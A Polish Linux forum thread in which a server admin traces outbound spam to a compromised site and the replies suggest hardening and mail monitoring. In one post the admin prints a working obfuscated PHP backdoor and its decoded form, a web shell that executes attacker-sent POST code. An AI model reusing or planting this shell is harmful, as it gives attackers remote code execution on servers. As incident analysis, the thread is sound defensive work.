Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!
Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.
Ahoj! Dawno mnie tu nie było.. Koledzy, koleżanki zwracam się do Was z prośbą o pomoc w znalezieniu problemu.. Miał być sobie spokojny weekend a tu dostaję w sobotę raporty o problemach serwera pocztowego. Od miesiąca wysłużona maszyna z Lennym została zamieniona VPS'em z Debianem 7. Miało być nowocześnie, bezpiecznie i spokojnie na kolejne kilka lat.. Tymczasem okazuje się, że jestem wciągany na listy spamowe przez jednego u użytkownika www - powiązanego z katalogiem.
Moja kolejka wyglądała mniej więcej tak:
-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
8FBF9304815* 3453 Sun Oct 13 12:46:08 web35@prime.pl
gioia.pisano@ey.com
540EE30480D* 3446 Sun Oct 13 12:46:07 web35@prime.pl
ginobianchini@ey.com
29F7B30BF17* 3466 Mon Oct 14 08:13:26 web35@prime.pl
kmarcoux@maildomination.com
75484305A84* 3453 Sat Oct 12 21:33:37 web35@prime.pl
support@kongu.com
9C2EE303DAB* 3472 Sat Oct 12 13:23:59 web35@prime.pl
thebjohnstons@sbcglobla.net
58CF7304808* 3451 Sun Oct 13 12:46:06 web35@prime.pl
gino.sasso@ey.com
020F830D0B1* 3444 Mon Oct 14 07:30:25 web35@prime.pl
saccentev@coned.com
00B6D305742* 3441 Sat Oct 12 23:30:59 web35@prime.pl
Mulee@compaq.net
DB88930D0D3* 3450 Mon Oct 14 07:30:22 web35@prime.pl
sablianj@coned.com
A263D30A5BE* 3438 Mon Oct 14 02:21:03 web35@prime.pl
roger@villa.com
ED5AB30D08D* 3454 Mon Oct 14 07:30:25 web35@prime.pl
saddiesmith@coned.com
611AD30481A* 3443 Sun Oct 13 12:46:02 web35@prime.pl
ginny.hoce@ey.com
F3F9130D0A6* 3439 Mon Oct 14 07:30:21 web35@prime.pl
sabinoaa@coned.com
D322930D0AC* 3440 Mon Oct 14 07:30:23 web35@prime.pl
sablod@coned.com
Fragment logów mail.log
Oct 10 09:53:29 prime postfix/qmgr[2954]: C5E0F1287ED4: from=<web35@prime.pl>, size=4842, nrcpt=1 (queue active)
Oct 10 09:53:29 prime amavis[27159]: (27159-09-23) Passed CLEAN {RelayedOpenRelay}, <web35@prime.pl> -> <2052124@compass-group.co.uk>, Message-ID: <20131010075322.892481287EE7@prime.pl>, mail_i
Oct 10 09:53:30 prime postfix/local[27848]: 1C8BB1287ED8: to=<web35@prime.pl>, relay=local, delay=0.03, delays=0.01/0/0/0.02, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:30 prime postfix/local[27848]: 742271287ECF: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime postfix/local[27848]: 8CB2F1287ECD: to=<web35@prime.pl>, relay=local, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime amavis[27159]: (27159-09-25) Passed CLEAN {RelayedInbound}, [74.125.83.66]:46601 [74.125.83.66] <> -> <web35@prime.pl>, Queue-ID: 187C71287ED1, Message-ID: <089e01681ba4d5fad104e
Oct 10 09:53:33 prime postfix/smtp[27036]: 187C71287ED1: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, conn_use=25, delay=8.5, delays=0.12/4.9/0/3.5, dsn=2.0.0, status=sent (250 2.0.0 from MT
Oct 10 09:53:38 prime amavis[27873]: (27873-02) Passed CLEAN {RelayedInbound}, [212.188.178.246]:52393 [212.188.178.246] <> -> <web35@prime.pl>, Queue-ID: 2ECCD1287ECD, Message-ID: <20131010075332.DB7
Oct 10 09:53:38 prime postfix/local[27848]: 0F0981287ECE: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:38 prime postfix/smtp[26447]: 2ECCD1287ECD: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, delay=3.9, delays=0.19/0/0/3.7, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0
Oct 10 09:59:55 prime postfix/qmgr[2954]: E5D961287ECC: from=<web35@prime.pl>, size=4860, nrcpt=1 (queue active)
Na początku myślę, formularz nie zabezpieczony captcha ale przecież spam idzie na inne adresy niż ten skonfigurowany w formularzu..
Szukam więc dalej w logach. Pomocna staje się strona: http://zy0.de/
W fragmentach zablokowanych wiadomości znajduję
Subject: Voice Message Notification
X-PHP-Originating-Script: 5036:sys09725444.php
From: "WhatsApp Messaging Service" <service@domena.pl>
X-Mailer: mPOPWeb-Mail2.19
Reply-To: "WhatsApp Messaging Service" <service@domena.pl>
Mime-Version: 1.0
Content-Type: multipart/alternative;boundary="----------1381690620525AECFC28AD4"
Message-Id: <20131013185700.30916307D57@prime.pl>
Date: Sun, 13 Oct 2013 20:57:00 +0200 (CEST)
Klucz to sys09725444.php
Szukam tego pliku - mam go w dwóch miejscach. Wraz z nim kilka innych plików.
Wszystko zakodowane oczywiście HEX
Tutaj link do źródła i zdekodowanego pliku:
http://ddecode.com/hexdecoder/?results=3233e0a58699 … 2889109cfb31a
Oczywiście kod nie wygląda jak kod stworzony do przyjaznych celów.
Mój access.log do tego pliku był potężny ale wszystko z jednego adres - trochę amatorka.
146.185.246.18 - - [13/Oct/2013:07:43:35 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:43:41 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:44:48 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:45:18 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:47:17 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
RIPE
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '146.185.246.0 - 146.185.246.255'
% Abuse contact for '146.185.246.0 - 146.185.246.255' is 'abuse@pinspb.ru'
inetnum: 146.185.246.0 - 146.185.246.255
netname: cust3165-net
descr: Net for customer ID 3165
country: LU
admin-c: AV8068-RIPE
tech-c: AV8068-RIPE
status: ASSIGNED PA
mnt-by: MNT-PIN
mnt-by: MNT-PINSUPPORT
mnt-routes: ROOT-MNT
source: RIPE #Filtered
person: Andrey Vasiliev
address: Revolyutsii highway, 140
address: Kirovskiy district, Mga
address: Leningrad region,
address: Russian Federation
abuse-mailbox: info@eurolinenet.biz
phone: +7 81362 4823
nic-hdl: AV8068-RIPE
mnt-by: eurolinenet-mnt
source: RIPE #Filtered
% Information related to '146.185.246.0/24AS5577'
route: 146.185.246.0/24
descr: cust3165-net
origin: AS5577
mnt-by: ROOT-MNT
source: RIPE #Filtered
% This query was served by the RIPE Database Query Service version 1.69 (WHOIS4)
Najprostszą metodą szukania jakiegoś tropu była dla mnie ta unikatowa nazwa pliku ze skryptem, która nie jest unikatowa - bo powtórzyła się w 2 folderach ze stronami.. Co ciekawe.. sporo tego w necie:
http://lustt.webd.pl/
http://majsterkowicz.home.pl/
http://raindrip.home.pl/
http://www.panamoduli.com/
http://ryano.smarthost.pl/
Co ciekawe wszędzie jest prawie ta sama data utworzenia plików co u mnie..
Gdzie szukać dziury. Większość serwerów z tym problemem to Apache, a ja śmigam na NginX'ie
Offline
O ile jestem "miszczem" w zabezpieczeniach domowych, o tyle może warto przeskanować komputer rkhunter czy clamAV (o ile go nie masz, ale powinieneś mieć :D)
Fervi
Offline
stronki postawione na dziurawcach/starociach (np nieśmiertelna joomla z serii 1.5.x). Przede wszystkim sprawdź strony na których znalazłeś ten plik - pewnie gdzieś jest jakaś luka która umożliwia wykonanie dowolnego kodu/zassanie na konto plików - a potem samo leci.
Offline
Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.
Jest czysto generalnie. Strony postawione na Symphony2 - świeży framework teoretycznie..
Mam ich też więcej, a te 2 padły ofiarą..
Co ciekawe strony, które podlinkowałem często nie miały żadnej strony a w index of był ten syf..
Offline
Syf sam się nie urodził :) Porządy audyt tych stron na których pojawił się syf (miej logi i patrzaj w logi, podpowiedź: przede wszsytkim zapytania POST), sprawdzenie logów z logowań na ftp/ssh użytkowników na których te dwie strony stoją. Zmiana haseł itd itp.
Offline
Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.
Wrzucone, a uruchomione? (musisz ręcznie włączyć skanowanie)
Fervi
Offline
Dobra, problem zlokalizowany. Do końca nie mogę opisać ścieżki ponieważ jest zbyt duża rozpiętość dat..
Wygląda to tak: W kilku folderach ze stronami mam plik default.php
Plik ten powtarza się także w podfolderach także obstawiam, że zainfekowany komputer webmastera wgrywał bez jego wiedzy z wykorzystaniem np. zapamiętanych kont www w kliencie ftp.
Plik default.php wygląda mniej więcej tak:
<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>
Po przetworzeniu mamy
@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;
Każdy kto chociaż trochę liznął php, wie że przy pomocy php://input można wrzucać kod base64, tworzyć pliki itd.
Zainfekowane pliki leżały prawie rok. Następnie w ubiegłym tygodniu autor zapewne uruchomił skrypt, który stworzył na serwerze pliki do wysyłania spamu..
W skrypcie były między innymi funkcje do identyfikacji maszyn poprzez nadanie im seryjnych numerów w pliku..
Offline
Zainteresuj się Grsecurity, Grsecurity-ACL i Cgroup.
Co prawda Debian się do tego średnio nadaje, ale już z Gentusia można zrobić czołg-serwer, wobec którego 99,9999% skrypciarzy będzie bezsilna, jak to sensownie skonfigurujesz. :D
Poza tym kto daje serwerowi WWW prawo zapisu w miejscach, z których może otwierać skrypty php?
Jeśli Grsecurity-ACL za trudne (w rzeczywistości nic trudnego, ale trzeba trochę cierpliwości), to jest jeszcze dość łatwy Apparmor i ultra trudny Selinux.
Pozdro
;-)
Ostatnio edytowany przez Jacekalex (2013-10-15 14:41:23)
Offline
Kolego, prawami zapisu można sobie manewrować gdy ma się postawioną 1-2 app'ki i administruje się nimi na serwerze..
Dziękuję oczywiście za cenne wskazówki co do dodatkowych zabezpieczeń..
Zastanawia mnie czy nie można by wyciąć z poziomu php.ini tych funkcji, które są potencjalnie groźne..
Z innej beczki..
Czy ktoś z Was pisał sobie może kiedyś jakiś kod do monitorowania kolejki postfixowej?
Myślę o tym, aby zrobić coś co będzie wyłączało dane konto w sytuacji, gdy zostaje za jego pomocą rozsyłany spam..
Zanim ip zostanie wciągnięty na listy spamowe..
Offline
Z Postfixem i QMailem jest ten problem, że domyślnie zarówno Amavis jak i QMail-scanner filtrują na okoliczność spamu tylko pocztę przychodzącą, a nie wychodzącą.
Żeby filtrowały i blokowały spam wysyłany z konta z autoryzacją, trzeba trochę chyba pomaszkecić w kodzie, oba programy są skryptami perla.
W Amavisie można chyba też osiągnąć podobny efekt kombinując ze zmienną
@acl_local_domains
Ostatnio edytowany przez Jacekalex (2013-10-15 15:24:51)
Offline
Myślałem czy może w głupi sposób nie mierzyć tylko wielkości kolejki i na jej podstawie monitorować..
Można zauważyć taką analogię, dużego przyrostu kolejki ze względu na blokowanie części wiadomości..
I na podstawie tego filtrować źródło problemu..
O ile w sytuacji, kiedy problemem jest np. złamane konto pocztowe -> prosty skrypt zmieniający w mysql'u hasło dla usera..
To jak można wyciąć użytkownika "web'owego", który wysyła spam z wykorzystaniem skryptu zaszytego na stronie?
Czy konieczne jest w takim wypadku ograniczenie dostępu do wysyłania wiadomości i wymuszenie autoryzacji loginem i hasłem nawet dla 127.0.0.1?
Jakie stosujecie restrykcje co dla funkcji mail? Mają one sens w ogóle?
Taka ciekawostka: http://blog.shadowserver.org/category/botnets/
Praktycznie opisany sposób jakim wpadł programista..
Z drugiej strony, żeby w dzisiejszych czasach tyle programów nie szyfrowało haseł, które przetrzymuje...
Ostatnio edytowany przez buli (2013-10-15 15:55:00)
Offline
zrób sobie wraper do funkcji mail w php :P
W php.ini domeny ustawiasz:
sendmail_path = "/usr/sbin/phpsendmail ADRES@DOMENA.PL"
Samo /usr/sbin/phpsendmail to kilkulinijkowiec w dowolnym języku, który do wskazanego loga zapisze np date, scieżke do katalogu z którego plik php jest uruchomiony, temat maila, odbiorce (czy cokolwiek tam sobie zapragniesz).
Offline
Można też kopię maila łapać zarówno przez php.ini - odpowiednio zmodyfikowane polecenie sendmail - samym sendmailem chyba idzie dodać odbiorcę ukrytej kopii, albo na 100% użycie always_bcc, sender_bcc ub recipient_bcc w samym postfixie.
Wtedy będziesz łapał wszystkie maile wg takiego czy innego parametru,
i możesz np w Procmailu wyciągnąć z nich dowolne informacje, jakie są potrzebne.
Wszystko masz w dokumentacji postfixa i procmaila.
np:
http://www.postfix.org/ADDRESS_REWRITING_README.html#auto_bcc
Ostatnio edytowany przez Jacekalex (2013-10-15 21:44:08)
Offline
Na dobry początek wrzuciłem sobie mailgraph'a.
Spore ułatwienie, jednak brak informacji zwrotnej.
Przymierzam się do wdrożenia Nagios'a na całą infrastrukturę.
Offline